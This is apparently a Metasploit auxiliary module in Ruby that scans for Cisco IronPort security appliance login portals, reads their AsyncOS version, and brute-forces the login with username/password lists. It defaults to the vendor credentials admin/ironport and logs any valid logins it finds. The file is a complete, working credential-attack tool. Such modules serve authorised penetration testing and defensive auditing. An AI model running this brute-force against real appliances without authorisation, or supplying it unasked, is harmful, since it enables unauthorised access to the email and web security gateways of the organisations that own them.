metasploit-framework/modules/auxiliary/scanner/http/cisco_ironport_enum.rb

184 lines
5.3 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Cisco Ironport Bruteforce Login Utility',
'Description' => %{
This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS
versions, and performs login brute force to identify valid credentials.
},
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'SSL' => true }
))
register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])
], self.class)
end
def run_host(ip)
unless check_conn?
print_error("#{rhost}:#{rport} - Connection failed, Aborting...")
return
end
unless is_app_ironport?
print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")
return
end
print_status("#{rhost}:#{rport} - Starting login brute force...")
each_user_pass do |user, pass|
do_login(user, pass)
end
end
def check_conn?
begin
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
})
if res
print_good("#{rhost}:#{rport} - Server is responsive...")
return true
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
end
false
end
#
# What's the point of running this module if the app actually isn't Cisco IronPort
#
def is_app_ironport?
res = send_request_cgi(
{
'uri' => '/',
'method' => 'GET'
})
if res && res.get_cookies
cookie = res.get_cookies
res = send_request_cgi(
{
'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm",
'method' => 'GET',
'cookie' => cookie
})
if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))
version_key = /Cisco IronPort AsyncOS (.+? )/
version = res.body.scan(version_key).flatten[0].gsub('"','')
product_key = /for (.*)</
product = res.body.scan(product_key).flatten[0]
if (product == 'Security Management Appliances')
p_name = 'Cisco IronPort Security Management Appliance (SMA)'
print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")
elsif ( product == 'Cisco IronPort Web Security Appliances' )
p_name = 'Cisco IronPort Web Security Appliance (WSA)'
print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")
elsif ( product == 'Cisco IronPort Appliances' )
p_name = 'Cisco IronPort Email Security Appliance (ESA)'
print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")
end
return true
else
return false
end
else
return false
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: 'Cisco IronPort Appliance',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Brute-force the login page
#
def do_login(user, pass)
vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
begin
res = send_request_cgi(
{
'uri' => '/login',
'method' => 'POST',
'vars_post' =>
{
'action' => 'Login',
'referrer' => '',
'screen' => 'login',
'username' => user,
'password' => pass
}
})
if res and res.get_cookies.include?('authenticated=')
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.get_cookies.inspect)
return :next_user
else
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
return :abort
end
end
end